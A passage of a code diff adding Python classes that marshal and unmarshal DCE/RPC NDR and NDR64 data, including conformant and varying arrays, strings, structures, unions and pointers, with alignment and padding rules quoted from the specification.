+                if self.isNDR(self.item):
+                    item = ':'
+                else:
+                    item = self.item
+                answer += self.calcPackSize(item, each)
+            return answer
+        else:
+            return NDR.calcPackSize(self, fieldTypeOrClass, data)
+
+    def getArrayMaximumSize(self, fieldName):
+        if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0:
+            return self.fields[fieldName].fields['MaximumCount']
+        else:
+            return self.fields[fieldName].getArraySize()
+
+    def getArraySize(self, fieldName, data, offset=0):
+        if self._isNDR64:
+            arrayItemSize = 8
+            arrayUnPackStr = '<Q'
+        else:
+            arrayItemSize = 4
+            arrayUnPackStr = '<L'
+
+        pad = (arrayItemSize - (offset % arrayItemSize)) % arrayItemSize
+        offset += pad
+
+        if isinstance(self.fields[fieldName], NDRUniConformantArray):
+            # Array Size is at the very beginning
+            arraySize = unpack_from(arrayUnPackStr, data, offset)[0]
+        elif isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
+            # NDRUniConformantVaryingArray Array
+            # Unpack the Maximum Count
+            maximumCount = unpack_from(arrayUnPackStr, data, offset)[0]
+            # Let's store the Maximum Count for later use
+            self.fields[fieldName].fields['MaximumCount'] = maximumCount
+            # Unpack the Actual Count
+            arraySize = unpack_from(arrayUnPackStr, data, offset+arrayItemSize*2)[0]
+        else:
+            # NDRUniVaryingArray Array
+            arraySize = unpack_from(arrayUnPackStr, data, offset+arrayItemSize)[0]
+
+        return arraySize, arrayItemSize+pad
+
+    def fromStringReferents(self, data, offset=0):
+        offset0 = offset
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+                offset += self.fields[fieldName].fromStringReferents(data, offset)
+                offset += self.fields[fieldName].fromStringReferent(data, offset)
+        return offset - offset0
+
+    def fromStringReferent(self, data, offset=0):
+        if hasattr(self, 'referent') is not True:
+            return 0
+
+        offset0 = offset
+
+        if 'ReferentID' in self.fields:
+            if self['ReferentID'] == 0:
+                # NULL Pointer, there's no referent for it
+                return 0
+
+        for fieldName, fieldTypeOrClass in self.referent:
+            try:
+                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
+                    # Get the array size
+                    arraySize, advanceStream = self.getArraySize(fieldName, data, offset)
+                    offset += advanceStream
+
+                    # Let's tell the array how many items are available
+                    self.fields[fieldName].setArraySize(arraySize)
+                    size = self.fields[fieldName].fromString(data, offset)
+                else:
+                    # ToDo: Align only if not NDR
+                    offset += self.calculatePad(fieldTypeOrClass, offset)
+
+                    size = self.unpack(fieldName, fieldTypeOrClass, data, offset)
+
+                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
+                    size += self.fields[fieldName].fromStringReferents(data, offset+size)
+                    size += self.fields[fieldName].fromStringReferent(data, offset+size)
+                offset += size
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+
+        return offset-offset0
+
+    def calcUnPackSize(self, fieldTypeOrClass, data, offset=0):
+        if isinstance(fieldTypeOrClass, str) is False:
+            return len(data) - offset
+
+        two = fieldTypeOrClass.split('*')
+        if len(two) == 2:
+            return len(data) - offset
+        else:
+            return NDR.calcUnPackSize(self, fieldTypeOrClass, data, offset)
+
+# Uni-dimensional Fixed Arrays
+class NDRArray(NDRCONSTRUCTEDTYPE):
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        ind = ' '*indent
+        if msg != '':
+            print(msg, end=' ')
+
+        if isinstance(self['Data'], list):
+            print("\n%s[" % ind)
+            ind += ' '*4
+            for num,j in enumerate(self.fields['Data']):
+               if isinstance(j, NDR):
+                   j.dump('%s' % ind, indent = indent + 4),
+                   print(",") 
+               else:
+                   print("%s %r," % (ind,j))
+            print("%s]" % ind[:-4], end=' ')
+        else:
+            print(" %r" % self['Data'], end=' ')
+
+    def setArraySize(self, size):
+        self.arraySize = size
+
+    def getArraySize(self):
+        return self.arraySize
+
+    def changeTransferSyntax(self, newSyntax): 
+        # Here we gotta go over each item in the array and change the TS 
+        # Only if the item type is NDR
+        if hasattr(self, 'item') and self.item is not None:
+            if self.isNDR(self.item):
+                for item in self.fields['Data']:
+                    item.changeTransferSyntax(newSyntax)
+        return NDRCONSTRUCTEDTYPE.changeTransferSyntax(self, newSyntax)
+
+    def getAlignment(self):
+        # Array alignment is the largest alignment of the array element type and 
+        # the size information type, if any.
+        align = 0
+        # And now the item
+        if hasattr(self, "item") and self.item is not None:
+            if self.isNDR(self.item):
+                tmpAlign = self.item().getAlignment()
+            else:
+                tmpAlign = self.calcPackSize(self.item, b'')
+            if tmpAlign > align:
+                align = tmpAlign
+        return align
+
+    def getData(self, soFar = 0):
+        data = b''
+        soFar0 = soFar
+        for fieldName, fieldTypeOrClass in self.structure:
+            try:
+                if self.isNDR(fieldTypeOrClass) is False:
+                    # If the item is not NDR (e.g. ('MaximumCount', '<L=len(Data)'))
+                    # we have to align it
+                    pad = self.calculatePad(fieldTypeOrClass, soFar)
+                    if pad > 0:
+                        soFar += pad
+                        data += b'\xca'*pad
+
+                res = self.pack(fieldName, fieldTypeOrClass, soFar)
+                data += res
+                soFar = soFar0 + len(data)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+    def pack(self, fieldName, fieldTypeOrClass, soFar = 0):
+        # array specifier
+        two = fieldTypeOrClass.split('*')
+        if len(two) == 2:
+            answer = b''
+            if self.isNDR(self.item):
+                item = ':'
+                dataClass = self.item
+                self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64)
+            else:
+                item = self.item
+                dataClass = None
+                self.fields['_tmpItem'] = item
+
+            for each in (self.fields[fieldName]):
+                pad = self.calculatePad(self.item, len(answer)+soFar)
+                if pad > 0:
+                    answer += b'\xdd' * pad
+                if dataClass is None:
+                    if item == 'c' and PY3 and isinstance(each, int):
+                        # Special case when dealing with PY3, here we have an integer we need to convert
+                        each = bytes([each])
+                    answer += pack(item, each)
+                else:
+                    answer += each.getData(len(answer)+soFar)
+
+            if dataClass is not None:
+                for each in self.fields[fieldName]:
+                    if isinstance(each, NDRCONSTRUCTEDTYPE):
+                        answer += each.getDataReferents(len(answer)+soFar)
+                        answer += each.getDataReferent(len(answer)+soFar)
+
+            del(self.fields['_tmpItem'])
+            if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray):
+                # First field points to a field with the amount of items
+                self.setArraySize(len(self.fields[fieldName]))
+            else:
+                self.fields[two[1]] = len(self.fields[fieldName])
+
+            return answer
+        else:
+            return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar)
+
+    def fromString(self, data, offset=0):
+        offset0 = offset
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                if self.isNDR(fieldTypeOrClass) is False:
+                    # If the item is not NDR (e.g. ('MaximumCount', '<L=len(Data)'))
+                    # we have to align it
+                    offset += self.calculatePad(fieldTypeOrClass, offset)
+
+                size = self.unpack(fieldName, fieldTypeOrClass, data, offset)
+                offset += size
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+        return offset - offset0
+
+    def unpack(self, fieldName, fieldTypeOrClass, data, offset=0):
+        # array specifier
+        two = fieldTypeOrClass.split('*')
+        answer = []
+        soFarItems = 0
+        offset0 = offset
+        if len(two) == 2:
+            if isinstance(self, NDRUniConformantArray):
+                # First field points to a field with the amount of items
+                numItems = self.getArraySize()
+            elif isinstance(self, NDRUniConformantVaryingArray):
+                # In this case we have the MaximumCount but it could be different from the ActualCount.
+                # Let's make the unpack figure this out.
+                #self.fields['MaximumCount'] = self.getArraySize()
+                numItems = self[two[1]]
+            else:
+                numItems = self[two[1]]
+
+            # The item type is determined by self.item
+            if self.isNDR(self.item):
+                item = ':'
+                dataClassOrCode = self.item
+                self.fields['_tmpItem'] = dataClassOrCode(isNDR64=self._isNDR64)
+            else:
+                item = self.item
+                dataClassOrCode = None
+                self.fields['_tmpItem'] = item
+
+            nsofar = 0
+            while numItems and soFarItems < len(data) - offset:
+                pad = self.calculatePad(self.item, soFarItems+offset)
+                if pad > 0:
+                    soFarItems +=pad
+                if dataClassOrCode is None:
+                    nsofar = soFarItems + calcsize(item)
+                    answer.append(unpack_from(item, data, offset+soFarItems)[0])
+                else:
+                    itemn = dataClassOrCode(isNDR64=self._isNDR64)
+                    size = itemn.fromString(data, offset+soFarItems)
+                    answer.append(itemn)
+                    nsofar += size + pad
+                numItems -= 1
+                soFarItems = nsofar
+
+            if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE):
+                # We gotta go over again, asking for the referents
+                answer2 = []
+                for itemn in answer:
+                    size = itemn.fromStringReferents(data, soFarItems+offset)
+                    soFarItems += size
+                    size = itemn.fromStringReferent(data, soFarItems+offset)
+                    soFarItems += size
+                    answer2.append(itemn)
+                answer = answer2
+                del answer2
+
+            del(self.fields['_tmpItem'])
+
+            self.fields[fieldName] = answer
+            return soFarItems + offset - offset0
+        else:
+            return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset)
+
+class NDRUniFixedArray(NDRArray):
+    structure = (
+        ('Data',':'),
+    )
+
+# Uni-dimensional Conformant Arrays
+class NDRUniConformantArray(NDRArray):
+    item = 'c'
+    structure = (
+        #('MaximumCount', '<L=len(Data)'),
+        ('Data', '*MaximumCount'),
+    )
+
+    structure64 = (
+        #('MaximumCount', '<Q=len(Data)'),
+        ('Data', '*MaximumCount'),
+    )
+
+    def __init__(self, data = None, isNDR64 = False):
+        NDRArray.__init__(self, data, isNDR64)
+        # Let's store the hidden MaximumCount field
+        self.fields['MaximumCount'] = 0
+
+    def __setitem__(self, key, value):
+        self.fields['MaximumCount'] = None
+        return NDRArray.__setitem__(self, key, value)
+
+
+# Uni-dimensional Varying Arrays
+class NDRUniVaryingArray(NDRArray):
+    item = 'c'
+    structure = (
+        ('Offset','<L=0'),
+        ('ActualCount','<L=len(Data)'),
+        ('Data','*ActualCount'),
+    )
+    structure64 = (
+        ('Offset','<Q=0'),
+        ('ActualCount','<Q=len(Data)'),
+        ('Data','*ActualCount'),
+    )
+
+    def __setitem__(self, key, value):
+        self.fields['ActualCount'] = None
+        return NDRArray.__setitem__(self, key, value)
+
+# Uni-dimensional Conformant-varying Arrays
+class NDRUniConformantVaryingArray(NDRArray):
+    item = 'c'
+    commonHdr = (
+        #('MaximumCount', '<L=len(Data)'),
+        ('Offset','<L=0'),
+        ('ActualCount','<L=len(Data)'),
+    )
+    commonHdr64 = (
+        #('MaximumCount', '<Q=len(Data)'),
+        ('Offset','<Q=0'),
+        ('ActualCount','<Q=len(Data)'),
+    )
+
+    structure = (
+        ('Data','*ActualCount'),
+    )
+
+    def __init__(self, data = None, isNDR64 = False):
+        NDRArray.__init__(self, data, isNDR64)
+        # Let's store the hidden MaximumCount field
+        self.fields['MaximumCount'] = 0
+
+    def __setitem__(self, key, value):
+        self.fields['MaximumCount'] = None
+        self.fields['ActualCount'] = None
+        return NDRArray.__setitem__(self, key, value)
+
+    def getData(self, soFar = 0):
+        data = b''
+        soFar0 = soFar
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                pad = self.calculatePad(fieldTypeOrClass, soFar)
+                if pad > 0:
+                    soFar += pad
+                    data += b'\xcb'*pad
+
+                res = self.pack(fieldName, fieldTypeOrClass, soFar)
+                data += res
+                soFar = soFar0 + len(data)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+# Multidimensional arrays not implemented for now
+
+# Varying Strings
+class NDRVaryingString(NDRUniVaryingArray):
+    def getData(self, soFar = 0):
+        # The last element of a string is a terminator of the same size as the other elements. 
+        # If the string element size is one octet, the terminator is a NULL character. 
+        # The terminator for a string of multi-byte characters is the array element zero (0).
+        if self["Data"][-1:] != b'\x00':
+            if PY3 and isinstance(self["Data"],list) is False:
+                self["Data"] = self["Data"] + b'\x00'
+            else:
+                self["Data"] = b''.join(self["Data"]) + b'\x00'
+        return NDRUniVaryingArray.getData(self, soFar)
+
+    def fromString(self, data, offset = 0):
+        ret = NDRUniVaryingArray.fromString(self, data, offset)
+        # Let's take out the last item
+        self["Data"] = self["Data"][:-1] 
+        return ret
+
+# Conformant and Varying Strings
+class NDRConformantVaryingString(NDRUniConformantVaryingArray):
+    pass
+
+# Structures
+# Structures Containing a Conformant Array 
+# Structures Containing a Conformant and Varying Array 
+class NDRSTRUCT(NDRCONSTRUCTEDTYPE):
+    def getData(self, soFar = 0):
+        data = b''
+        arrayPadding = b''
+        soFar0 = soFar
+        # 14.3.7.1 Structures Containing a Conformant Array
+        # A structure can contain a conformant array only as its last member.
+        # In the NDR representation of a structure that contains a conformant array, 
+        # the unsigned long integers that give maximum element counts for dimensions of the array 
+        # are moved to the beginning of the structure, and the array elements appear in place at 
+        # the end of the structure.
+        # 14.3.7.2 Structures Containing a Conformant and Varying Array
+        # A structure can contain a conformant and varying array only as its last member.
+        # In the NDR representation of a structure that contains a conformant and varying array, 
+        # the maximum counts for dimensions of the array are moved to the beginning of the structure, 
+        # but the offsets and actual counts remain in place at the end of the structure, 
+        # immediately preceding the array elements
+        lastItem = (self.commonHdr+self.structure)[-1][0]
+        if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):
+            # So we have an array, first item in the structure must be the array size, although we
+            # will need to build it later.
+            if self._isNDR64:
+                arrayItemSize = 8
+                arrayPackStr = '<Q'
+            else:
+                arrayItemSize = 4
+                arrayPackStr = '<L'
+
+            # The size information is itself aligned according to the alignment rules for 
+            # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed 
+            # type is then aligned according to the alignment rules for the constructed type. 
+            # In other words, the size information precedes the structure and is aligned 
+            # independently of the structure alignment.
+            # We need to check whether we need padding or not
+            pad0 = (arrayItemSize - (soFar % arrayItemSize)) % arrayItemSize 
+            if pad0 > 0:
+                soFar += pad0
+                arrayPadding = b'\xee'*pad0
+            else:
+                arrayPadding = b''
+            # And now, let's pretend we put the item in
+            soFar += arrayItemSize
+        else:
+            arrayItemSize = 0
+
+        # Now we need to align the structure 
+        # The alignment of a structure in the octet stream is the largest of the alignments of the fields it
+        # contains. These fields may also be constructed types. The same alignment rules apply 
+        # recursively to nested constructed types.
+        alignment = self.getAlignment()
+
+        if alignment > 0:
+            pad = (alignment - (soFar % alignment)) % alignment
+            if pad > 0:
+                soFar += pad
+                data += b'\xAB'*pad
+
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
+            try:
+                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
+                    res = self.fields[fieldName].getData(soFar)
+                    if isinstance(self, NDRPOINTER):
+                        pointerData = data[:arrayItemSize]
+                        data = data[arrayItemSize:]
+                        data = pointerData + arrayPadding + pack(arrayPackStr ,self.getArrayMaximumSize(fieldName)) + data
+                    else:
+                        data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data
+                    arrayPadding = b''
+                    arrayItemSize = 0
+                else:
+                    res = self.pack(fieldName, fieldTypeOrClass, soFar)
+                data += res
+                soFar = soFar0 + len(data) + len(arrayPadding) + arrayItemSize
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        # 2.2.5.3.4.1 Structure with Trailing Gap
+        # NDR64 represents a structure as an ordered sequence of representations of the
+        # structure members. The trailing gap from the last nonconformant and nonvarying
+        # field to the alignment of the structure MUST be represented as a trailing pad.
+        # The size of the structure MUST be a multiple of its alignment.
+        # See the following figure.
+
+        # 4.8 Example of Structure with Trailing Gap in NDR64
+        # This example shows a structure with a trailing gap in NDR64.
+        #     typedef struct _StructWithPad
+        #     {
+        #         long l;
+        #         short s;
+        #     } StructWithPad;
+        # The size of the structure in the octet stream MUST contain a 2-byte trailing
+        # gap to make its size 8, a multiple of the structure's alignment, 4.
+#        if self._isNDR64 is True:
+#            # ToDo add trailing gap here
+#            if alignment > 0:
+#                pad = (alignment - (soFar % alignment)) % alignment
+#                if pad > 0:
+#                    soFar += pad
+#                    data += '\xcd'*pad
+#            print self.__class__ , alignment, pad, hex(soFar)
+        return data
+
+    def fromString(self, data, offset = 0 ):
+        offset0 = offset
+        # 14.3.7.1 Structures Containing a Conformant Array
+        # A structure can contain a conformant array only as its last member.
+        # In the NDR representation of a structure that contains a conformant array, 
+        # the unsigned long integers that give maximum element counts for dimensions of the array 
+        # are moved to the beginning of the structure, and the array elements appear in place at 
+        # the end of the structure.
+        # 14.3.7.2 Structures Containing a Conformant and Varying Array
+        # A structure can contain a conformant and varying array only as its last member.
+        # In the NDR representation of a structure that contains a conformant and varying array, 
+        # the maximum counts for dimensions of the array are moved to the beginning of the structure, 
+        # but the offsets and actual counts remain in place at the end of the structure, 
+        # immediately preceding the array elements
+        lastItem = (self.commonHdr+self.structure)[-1][0]
+
+        # If it's a pointer, let's parse it here because
+        # we are going to parse the next MaximumCount field(s) manually
+        # when it's a Conformant or Conformant and Varying array
+        if isinstance(self, NDRPOINTER):
+            structureFields = self.structure
+
+            alignment = self.getAlignment()
+            if alignment > 0:
+                offset += (alignment - (offset % alignment)) % alignment
+
+            for fieldName, fieldTypeOrClass in self.commonHdr:
+                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)
+        else:
+            structureFields = self.commonHdr+self.structure
+
+        if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):
+            # So we have an array, first item in the structure must be the array size, although we
+            # will need to build it later.
+            if self._isNDR64:
+                arrayItemSize = 8
+                arrayUnPackStr = '<Q'
+            else:
+                arrayItemSize = 4
+                arrayUnPackStr = '<L'
+
+            # The size information is itself aligned according to the alignment rules for
+            # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed 
+            # type is then aligned according to the alignment rules for the constructed type. 
+            # In other words, the size information precedes the structure and is aligned 
+            # independently of the structure alignment.
+            # We need to check whether we need padding or not
+            offset += (arrayItemSize - (offset % arrayItemSize)) % arrayItemSize
+
+            # And let's extract the array size for later use
+            if isinstance(self.fields[lastItem], NDRUniConformantArray):
+                # NDRUniConformantArray
+                arraySize = unpack_from(arrayUnPackStr, data, offset)[0]
+                self.fields[lastItem].setArraySize(arraySize)
+            else:
+                # NDRUniConformantVaryingArray
+                maximumCount = unpack_from(arrayUnPackStr, data, offset)[0]
+                self.fields[lastItem].fields['MaximumCount'] = maximumCount
+
+            offset += arrayItemSize
+
+        # Now we need to align the structure
+        # The alignment of a structure in the octet stream is the largest of the alignments of the fields it
+        # contains. These fields may also be constructed types. The same alignment rules apply 
+        # recursively to nested constructed types.
+        alignment = self.getAlignment()
+        if alignment > 0:
+            offset += (alignment - (offset % alignment)) % alignment
+
+        for fieldName, fieldTypeOrClass in structureFields:
+            try:
+                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+
+        return offset - offset0
+
+    def getAlignment(self):
+        # Alignment of Constructed Types
+        #
+        # NDR enforces NDR alignment of structured data. As with primitive data types, an alignment, n, is determined
+        # for the structure. Where necessary, an alignment gap of octets of unspecified value precedes the data in
+        # the NDR octet stream. This gap is the smallest size sufficient to align the first field of the structure
+        # on an NDR octet stream index of n.
+
+        # The rules for calculating the alignment of constructed types are as follows:
+
+        # 1) If a conformant structure-that is, a conformant or conformant varying array, or a structure containing
+        # a conformant or conformant varying array-is embedded in the constructed type, and is the outermost
+        # structure-that is, is not contained in another structure-then the size information from the contained
+        # conformant structure is positioned so that it precedes both the containing constructed type and any
+        # alignment gap for the constructed type. (See Section 14.3.7 for information about structures containing
+        # arrays.) The size information is itself aligned according to the alignment rules for primitive data
+        # types. (See Section 14.2.2 on page 620.) The data of the constructed type is then aligned according to
+        # the alignment rules for the constructed type. In other words, the size information precedes the structure
+        # and is aligned independently of the structure alignment.
+
+        # 2) The alignment of a structure in the octet stream is the largest of the alignments of the fields it
+        # contains. These fields may also be constructed types. The same alignment rules apply recursively to nested
+        # constructed types.
+
+        align = 0
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
+            if isinstance(self.fields[fieldName], NDR):
+                tmpAlign = self.fields[fieldName].getAlignment()
+            else:
+                tmpAlign = self.calcPackSize(fieldTypeOrClass, b'')
+            if tmpAlign > align:
+                align = tmpAlign
+        return align
+
+# Unions 
+class NDRUNION(NDRCONSTRUCTEDTYPE):
+    commonHdr = (
+        ('tag', NDRUSHORT),
+    )
+    commonHdr64 = (
+        ('tag', NDRULONG),
+    )
+   
+    union = {
+        # For example
+        #1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
+        #2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
+    }
+    def __init__(self, data = None, isNDR64=False, topLevel = False):
+        #ret = NDR.__init__(self,None, isNDR64=isNDR64)
+        self.topLevel = topLevel
+        self._isNDR64 = isNDR64
+        self.fields = {}
+
+        if isNDR64 is True:
+            if self.commonHdr64 != ():
+                self.commonHdr = self.commonHdr64
+            if self.structure64 != ():
+                self.structure = self.structure64
+            if hasattr(self, 'align64'):
+                self.align = self.align64
+
+        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
+            if self.isNDR(fieldTypeOrClass):
+               if self.isPointer(fieldTypeOrClass):
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)
+               elif self.isUnion(fieldTypeOrClass):
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)
+               else:
+                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
+            elif fieldTypeOrClass == ':':
+               self.fields[fieldName] = None
+            elif len(fieldTypeOrClass.split('=')) == 2: 
+               try:
+                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])
+               except:
+                   self.fields[fieldName] = None
+            else:
+               self.fields[fieldName] = 0
+
+        if data is not None:
+            self.fromString(data)
+
+    def __setitem__(self, key, value):
+        if key == 'tag':
+            # We're writing the tag, we now should set the right item for the structure
+            self.structure = ()
+            if value in self.union:
+                self.structure = (self.union[value]),
+                # Init again the structure
+                self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
+                self.fields['tag']['Data'] = value
+            else:
+                # Let's see if we have a default value
+                if 'default' in self.union:
+                    if self.union['default'] is None:
+                        self.structure = ()
+                    else:
+                        self.structure = (self.union['default']),
+                        # Init again the structure
+                        self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
+                    self.fields['tag']['Data'] = 0xffff
+                else:
+                    raise Exception("Unknown tag %d for union!" % value)
+        else:
+            return NDRCONSTRUCTEDTYPE.__setitem__(self,key,value)
+
+    def getData(self, soFar = 0):
+        data = b''
+        soFar0 = soFar
+
+        # Let's align ourselves
+        alignment = self.getAlignment()
+        if alignment > 0:
+            pad = (alignment - (soFar % alignment)) % alignment
+        else:
+            pad = 0
+        if pad > 0:
+            soFar += pad
+            data += b'\xbc'*pad
+
+        for fieldName, fieldTypeOrClass in self.commonHdr:
+            try:
+                pad = self.calculatePad(fieldTypeOrClass, soFar)
+                if pad > 0:
+                    soFar += pad
+                    data += b'\xbb'*pad
+
+                res = self.pack(fieldName, fieldTypeOrClass, soFar)
+                data += res
+                soFar = soFar0 + len(data)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        # WARNING
+        # Now we need to align what's coming next.
+        # This doesn't come from the documentation but from seeing the packets in the wire
+        # for some reason, even if the next field is a SHORT, it should be aligned to
+        # a DWORD, or HYPER if NDR64. 
+        if self._isNDR64:
+            align = 8
+        else:
+            if hasattr(self, 'notAlign'):
+                align = 1
+            else:
+                align = 4
+
+        pad = (align - (soFar % align)) % align
+        if pad > 0:
+            data += b'\xbd'*pad
+            soFar += pad
+
+        if self.structure == ():
+            return data
+
+        for fieldName, fieldTypeOrClass in self.structure:
+            try:
+                pad = self.calculatePad(fieldTypeOrClass, soFar)
+                if pad > 0:
+                    soFar += pad
+                    data += b'\xbe'*pad
+
+                res = self.pack(fieldName, fieldTypeOrClass, soFar)
+                data += res
+                soFar = soFar0 + len(data)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
+                raise
+
+        return data
+
+    def fromString(self, data, offset=0):
+        offset0 = offset
+        # Let's align ourselves
+        alignment = self.getAlignment()
+        if alignment > 0:
+            pad = (alignment - (offset % alignment)) % alignment
+        else:
+            pad = 0
+        if pad > 0:
+            offset += pad
+
+        if len(data)-offset > 4:
+            # First off, let's see what the tag is:
+            # We need to know the tag type and unpack it
+            tagtype = self.commonHdr[0][1].structure[0][1].split('=')[0]
+            tag = unpack_from(tagtype, data, offset)[0]
+            if tag in self.union:
+                self.structure = (self.union[tag]),
+                self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
+            else:
+                # Let's see if we have a default value
+                if 'default' in self.union:
+                    if self.union['default'] is None:
+                        self.structure = ()
+                    else:
+                        self.structure = (self.union['default']),
+                        # Init again the structure
+                        self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
+                    self.fields['tag']['Data'] = 0xffff
+                else:
+                    raise Exception("Unknown tag %d for union!" % tag)
+
+        for fieldName, fieldTypeOrClass in self.commonHdr:
+            try:
+                offset += self.calculatePad(fieldTypeOrClass, offset)
+                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+
+        # WARNING
+        # Now we need to align what's coming next.
+        # This doesn't come from the documentation but from seeing the packets in the wire
+        # for some reason, even if the next field is a SHORT, it should be aligned to
+        # a DWORD, or HYPER if NDR64. 
+        if self._isNDR64:
+            align = 8
+        else:
+            if hasattr(self, 'notAlign'):
+                align = 1
+            else:
+                align = 4
+
+        offset += (align - (offset % align)) % align
+
+        if self.structure == ():
+            return offset-offset0
+
+        for fieldName, fieldTypeOrClass in self.structure:
+            try:
+                offset += self.calculatePad(fieldTypeOrClass, offset)
+                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)
+            except Exception as e:
+                LOG.error(str(e))
+                LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))
+                raise
+
+        return offset - offset0
+
+    def getAlignment(self):
+        # Union alignment is the largest alignment of the union discriminator 
+        # and all of the union arms.
+        # WRONG, I'm calculating it just with the tag, if I do it with the 
+        # arms I get bad stub data. Something wrong I'm doing or the standard
+        # is wrong (most probably it's me :s )
+        align = 0
+        if self._isNDR64:
+            fields =  self.commonHdr+self.structure
+        else: 
+            fields =  self.commonHdr
+        for fieldName, fieldTypeOrClass in fields:
+            if isinstance(self.fields[fieldName], NDR):
+                tmpAlign = self.fields[fieldName].getAlignment()
+            else:
+                tmpAlign = self.calcPackSize(fieldTypeOrClass, b'')
+            if tmpAlign > align:
+                align = tmpAlign
+
+        if self._isNDR64:
+            for fieldName, fieldTypeOrClass in self.union.values():
+                tmpAlign = fieldTypeOrClass(isNDR64 = self._isNDR64).getAlignment()
+                if tmpAlign > align:
+                    align = tmpAlign
+        return align
+   
+# Pipes not implemented for now
+
+# Pointers
+class NDRPOINTERNULL(NDR):
+    align = 4
+    align64 = 8
+    structure = (
+        ('Data', '<L=0'),
+    )
+    structure64 = (
+        ('Data', '<Q=0'),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here we just print NULL
+        print(" NULL", end=' ')
+
+NULL = NDRPOINTERNULL()
+
+class NDRPOINTER(NDRSTRUCT):
+    align = 4
+    align64 = 8
+    commonHdr = (
+        ('ReferentID','<L=0xff'),
+    )
+    commonHdr64 = (
+        ('ReferentID','<Q=0xff'),
+    )
+
+    referent = (
+        # This is the representation of the Referent
+        ('Data',':'),
+    )
+    def __init__(self, data = None, isNDR64=False, topLevel = False):
+        NDRSTRUCT.__init__(self,None, isNDR64=isNDR64)
+        # If we are being called from a NDRCALL, it's a TopLevelPointer,
+        # if not, it's a embeeded pointer.
+        # It is *very* important, for every subclass of NDRPointer
+        # you have to declare the referent in the referent variable
+        # Not in the structure one!
+        if topLevel is True:
+            self.structure = self.referent
+            self.referent = ()
+       
+        if data is None:
+            self.fields['ReferentID'] = random.randint(1,65535)
+        else:
+           self.fromString(data)
+
+    def __setitem__(self, key, value):
+        if (key in self.fields) is False:
+            # Key not found.. let's send it to the referent to handle, maybe it's there
+            return self.fields['Data'].__setitem__(key,value)
+        else:
+            return NDRSTRUCT.__setitem__(self,key,value)
+
+    def __getitem__(self, key):
+        if key in self.fields:
+            if isinstance(self.fields[key], NDR):
+                if 'Data' in self.fields[key].fields:
